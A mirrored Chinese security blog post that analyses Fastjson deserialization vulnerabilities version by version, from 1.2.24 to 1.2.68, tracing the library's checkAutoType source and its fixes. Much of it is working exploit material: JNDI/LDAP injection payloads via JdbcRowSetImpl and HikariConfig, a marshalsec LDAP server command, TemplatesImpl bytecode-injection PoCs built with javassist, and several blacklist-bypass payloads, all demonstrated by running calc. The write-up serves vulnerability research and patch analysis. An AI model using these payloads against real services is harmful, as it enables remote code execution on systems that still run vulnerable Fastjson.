5

Fastjson Vulnerability

 2 years ago
source link: https://jlkl.github.io/2021/10/29/Java_06/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

Fastjson组件

Fastjson使用包含如下几个核心函数

//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

User.java

建立一个用户类,实现Setter和getter方法

package demo;

public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
}

Main.java

调用com.alibaba.fastjson.JSON将JSON文本解析为对象

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) throws Exception{
//创建一个用于实验的user类
User user1 = new User();
user1.setName("Str3am");
user1.setAge(11);

//序列化
//SerializerFeature.WriteClassName 添加 @type,指定反序列化的类,也可以不用添加
String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println("serializedStr="+serializedStr);

//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);

//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}

image-20210804194632670

image-20210804194632670

Fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

三种反序列化函数除了返回结果不同之外,在执行过程的调用函数上也有不同。

从上面的例子我们可以看出,在对json字符串进行反序列化的时候,会调用对应类的setter和getter方法,不同函数的调用规则如下:

  • toJSONString() 会调用目标类的所有getter方法

  • parse(“”) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

  • parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法

  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法

特定的setter方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

特定的getter方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

(我自己在测试的时候发现没有带@type标识符时,并不是按照这个规律,这里存疑)

因为这个特定的调用规则的原因,所以对于@type才不会调用其getter和setter方法。特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

下面这个例子

package demo;

import com.alibaba.fastjson.JSON;

import java.util.Hashtable;

public class Main {
public static void main(String[] args) throws Exception{
String json="{\"table\":{}}";
Foo foo=JSON.parseObject(json,Foo.class);
}
}

class Foo{
private Hashtable table;
public Hashtable getTable() {
System.out.println("getter");
return table;
}
}

image-20210804210555879

image-20210804210555879

Hashtable继承了Map,所以在反序列化的时候会调用getTable方法

ver<=1.2.24

JdbcRowSetImpl

JNDI注入利用链是最通用的方式,在以下三种情况都可以使用

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

jdk1.8.0_161

package demo;

import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(json);
}
}

起一个ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

ExecTest.java

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
public ExecTest() {
}

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}

public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}

return "";
}

public static void main(String[] var0) {
exec("123");
}
}

编译后(编译使用的是jdk1.8.0_251,运行环境是在jdk1.8.0_161,这样测试也是可以jndi注入的)在8090端口起一个web服务

image-20211011200843637

image-20211011200843637

JdbcRowSetImpl把JNDI注入衍生到了

import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

那么只需要调用这两个set方法,这两个函数接口

public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException

可以看到是满足特殊setter的条件的

TemplatesImpl

需要以下格式

JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JSON.parse(text1,Feature.SupportNonPublicField)

这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数

JDK1.7_21

pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\""+ TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

image-20211012202528192

image-20211012202528192

Jdk7u21后面是调用到了TemplatesImpl.getOutputProperties(),函数原型

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

Properties继承自Hashtables,实现了Map,符合特殊getter的条件

Jdk7u21的TemplatesImple类需要满足如下条件

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  5. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

对比上面那个poc就会有以下几个问题

_tfactory为什么为空?

当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例,应有的格式即变量在源码中的定义

/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;

_bytecodes需要base64编码?

FastJson提取byte[]数组字段值时会进行Base64解码

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

image-20211014195506705

image-20211014195506705

com.alibaba.fastjson.parser.JSONScanner#bytesValue

image-20211014195553211

image-20211014195553211

_outputProperties

FastJson对变量赋值的逻辑在parseField中实现

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

image-20211014195925620

image-20211014195925620

key即为传入的属性名,经过了smartMatch处理

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

会替换掉字段key中的_-,所以删除POC里的_或者添加-都是可以的

漏洞修复checkAutoType

在1.2.25版本之后,autotype功能受到了限制,autotype默认是关闭的,这时采用白名单判断反序列化的类名,可以手动添加白名单列表。手动开启autotype之后,使用黑名单方式来判断,同样黑名单也可以自定义。配置详情可以参考官网wiki:

https://github.com/alibaba/fastjson/wiki/enable_autotype

当autotype关闭的时候,这里以1.2.25版本为例

image-20211015170344364

image-20211015170344364

可以看到1.2.24版本再遇到@type标记的时候,会直接加载指定的类,1.2.25版本则会先进入checkAutoType函数进行判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//一些固定类型的判断,此处不会对clazz进行赋值,此处省略

if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码

//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}

当默认关闭autotype时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载

看下默认的黑名单和白名单(白名单为空,最下面)

image-20211015172816830

image-20211015172816830

com.sun,上面两条路都被堵死了。因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。

1.2.25<=ver<=1.2.41

需要手动开启autotype

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

pom.xml

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

开启auto后checkAutoType的逻辑判断

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//同样会进行白名单检测
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
//黑名单检测
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

...
//其他一些逻辑和autotype关闭的逻辑

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

...
}
}
}

同样会先进行黑白名单检测,如果都不满足,开启autotype后会进入TypeUtils.loadClass尝试读取类,跟进loadClass逻辑

image-20211020161303194

image-20211020161303194

可以看到,当className以L开头并以;时,会直接去掉L;,然后加载。这是由于历史原因,X.class.getName 方法在应用于数组类型时会返回奇怪的名字,这也是对特征的兼容。

image-20211020161605568

image-20211020161605568

那么我们可以在想要反序列化的类名加上L开头,;结尾,来绕过黑名单的检测。

添加[也可以,不过这是1.2.43版本的绕过方式了。

1.2.42版本checkAutoType逻辑和之前差不多,只是黑白名单判断这里采用hash去替代startwith。为了防范1.2.41版本的绕过,这里开头直接删除掉了L和结尾的;(如果类名存包含的话)

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
//对L 和 ; 处理,直接删除
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
//白名单,黑名单判断,换成了hash判断
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

这里采用hash的方式去验证黑白名单,那么我们理论上可以遍历所有的jar包,计算出对应的类名,github上有一个项目已经完成了这个事情。

1.2.42

pom.xml

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
</dependencies>

jdk1.8.0_161

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

上面提到了1.2.42版本checkAutoType函数会先去除掉开头的L和结尾的;,但是TypeUtils.loadClass处理逻辑依然会处理掉L;,那么直接双写L;就可以绕过

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

image-20211021170546752

image-20211021170546752

双写可以绕过,直接检测是否以LL开头,简单粗暴

1.2.43

jdk1.8.0_161

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

使用这个payload

String poc="{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

提示逗号前需要[

image-20211021194044379

image-20211021194044379

又提示在加入的[后需要一个{,加上即可,这里涉及fastjson具体解析字符串的过程,就不再深入分析。

image-20211021194138796

image-20211021194138796

com.alibaba.fastjson.parser#checkAutoType

直接过滤掉[;结尾的类

image-20211021194804574

image-20211021194804574

1.2.47

1.2.46~1.2.46版本主要是黑名单的添加,然后到1.2.47版本出现了通杀的payload

jdk1.8.0_161

我本地测试,开不开启autotype都是可以成功的

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Main {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

// String poc="{\n" +
// "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,\n" +
// "\"_bytecodes\":[\""+evilCode+"\"],\n" +
// "\"_name\":\"xx\",\n" +
// "\"_tfactory\":{ },\n" +
// "\"_outputProperties\":{ }\n" +
// "}";
String poc="[\n" +
" {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
" }, \n" +
" {\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \n" +
" \"_bytecodes\":[\""+evilCode+"\"],\n" +
" \"_name\":\"xx\",\n" +
" \"_tfactory\":{ },\n" +
" \"_outputProperties\":{ }\n" +
" }\n" +
"]";

System.out.println(poc);

// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

从parseObject开始分析

com.alibaba.fastjson.parser#parseObject

public final Object parseObject(Map object, Object fieldName) {
...
//checkAutoType检测
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
typeName = lexer.scanSymbol(this.symbolTable, '"');
if (!lexer.isEnabled(Feature.IgnoreAutoType)) {
strValue = null;
Class clazz;
if (object != null && object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures());
}
...
//deserializer.deserialze加载
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
...
}

第一层payload java.lang.Class不在黑名单内,比较特殊的是这个类类对应的deserializer为MiscCodec

com.alibaba.fastjson.serializer#deserialze

前面为格式检测,这里会检测@type后面一个键是否为val,然后将其值赋予strVal

image-20211022201413150

image-20211022201413150

image-20211022201524635

image-20211022201524635

这里clazz == Class.class满足,进入TypeUtils.loadClass,然后可以看到默认调用的话,第三个参数是为true

image-20211022201613312

image-20211022201613312

com.alibaba.fastjson.util#loadClass

classLoader.loadClass加载com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类后放入缓存的mapping里面

image-20211022201847799

image-20211022201847799

当第二个@type解析时,我们跟一下checkAutoType的逻辑

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {

//黑白名单判断
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

autoTypeSupport关闭的时候,直接clazz = TypeUtils.getClassFromMapping(typeName),从mapping里面获取类,当其开启的时候,白名单肯定不满足,但是黑名单判断的时候Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null要求满足符合黑名单并且不再mapping内才会抛出异常,所以也会进入clazz = TypeUtils.getClassFromMapping(typeName)逻辑,开不开启autype都是可以的

1.2.48版本直接设置MiscCode类deserialze方法的TypeUtils.loadClass的第三个参数为false

image-20211022203741051

image-20211022203741051

1.2.59(CVE-2019-14540)

后面版本就基本上是开启autotype,和黑名单的对抗了

jdk1.8.0_161,版本需要小于jdk 191,ldap注入

pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.2.0</version>
</dependency>
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}");
}
}

Exploit.java

public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

com.zaxxer.hikari#setMetricRegistry

image-20211029145555396

image-20211029145555396

metricRegistry可控,getObjectOrPerformJndiLookup函数存在lookup绑定refference的操作,可以JNDI注入

image-20211029145752891

image-20211029145752891

1.2.68

expectClass绕过AutoType

1.2.61开始,黑名单从十进制变成了十六进制,1.2.62开始,黑名单从小写变成了大写

1.2.48-1.2.68黑名单绕过的有很多,这里不再赘述,文末链接有

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType

  • jdk1.8.0_161
  • fastjson 1.2.68
  • 开不开启autotype都是可以的

服务端存在如下实现AutoCloseable接口类的恶意类

package demo;

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"demo.VulAutoCloseable\",\"cmd\":\"calc\"}");
}
}

com.alibaba.fastjson.parser#checkAutoType

第一个类java.lang.AutoCloseable,直接从mapping中获取

image-20211029163317737

image-20211029163317737

然后回到 com.alibaba.fastjson.parser#parseObject,调用JavaBeanDeserializer的deserialze

image-20211029163601231

image-20211029163601231

这里主要逻辑就读取第二个@type对应的类名,这里找不到对应的deserializer,会二次进入checkAutoType函数

image-20211029163731484

image-20211029163731484

这里expectclass参数为java.lang.AutoCloseable

image-20211029163926567

image-20211029163926567

expectClass不为null,且不为下面几种class,expectClassFlag被设置为true

image-20211029164050636

image-20211029164050636

expectClassFlag为true,这里不受autotype影响,直接loadClass

image-20211029164316066

image-20211029164316066

最后会检测clazz是否为expectClass的子类或者实现了其接口,所以恶意类要求实现AutoCloseable接口

image-20211029164657186

image-20211029164657186

需要找实现AutoCloseable接口的类,IntputStream和OutputStream都是实现自AutoCloseable接口的,再找继承他们的类,同时需要调用其恶意的set或者get方法

实际利用有限,可以复制,写入文件。写入文件也有限制,不能写入特殊字符,比如不能写入PHP代码,POC可参考这里


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK